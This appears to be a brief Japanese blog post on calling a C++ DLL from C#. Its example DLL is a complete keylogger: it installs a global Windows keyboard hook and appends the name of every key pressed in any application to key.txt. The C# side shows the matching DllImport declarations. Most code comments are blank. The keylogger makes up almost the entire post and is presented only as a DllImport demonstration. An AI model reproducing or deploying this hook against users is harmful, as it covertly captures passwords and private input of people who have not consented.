c#c++dllのインポート

1725 ワード



c#:
    //      
        [DllImport("KeyHook.dll", EntryPoint = "InstallHook", CharSet = CharSet.Auto, CallingConvention = CallingConvention.Cdecl)]     //             
        public static extern void InstallHook(int nCode);
        [DllImport("KeyHook.dll")]         //             
        public static extern void EndHook(); 

c++は以下の通りである.
#include "stdafx.h"
#include 
#define DllExport extern "C" __declspec(dllexport)	//extern "C"         C#    
#pragma data_seg("hookdata")
HHOOK oldkeyhook=0;
#pragma data_seg()
#pragma comment(linker,"/SECTION:hookdata,RWS")		//                


DllExport LRESULT CALLBACK KeyBoardProc(int nCode,WPARAM wParam,LPARAM lPram);
DllExport void InstallHook(int nCode);
DllExport void EndHook();

HMODULE ModuleFromAddress(PVOID pv)
{
	MEMORY_BASIC_INFORMATION mbi;
	return ::VirtualQuery(pv, &mbi, sizeof(mbi)) != NULL ? (HMODULE)mbi.AllocationBase : NULL;
}


void InstallHook(int nCode)
{
	HINSTANCE hInst;
	hInst = ModuleFromAddress(KeyBoardProc);
	oldkeyhook = SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)KeyBoardProc,hInst,0);
}


void EndHook(void)
{
	UnhookWindowsHookEx(oldkeyhook);
}


DllExport LRESULT CALLBACK KeyBoardProc(int nCode,WPARAM wParam,LPARAM lParam)
{
	char szKeyName[80];
	FILE *fp;
	if(lParam&0x80000000)
	{
		fp = fopen("key.txt","a");
		::GetKeyNameTextA(lParam,szKeyName,80);
		if(strlen(szKeyName)>1)
			fprintf(fp,"[%s]",szKeyName);
		else
			fprintf(fp,"%s",szKeyName);
		fclose(fp);
	}
	return CallNextHookEx(oldkeyhook,nCode,wParam,lParam);

}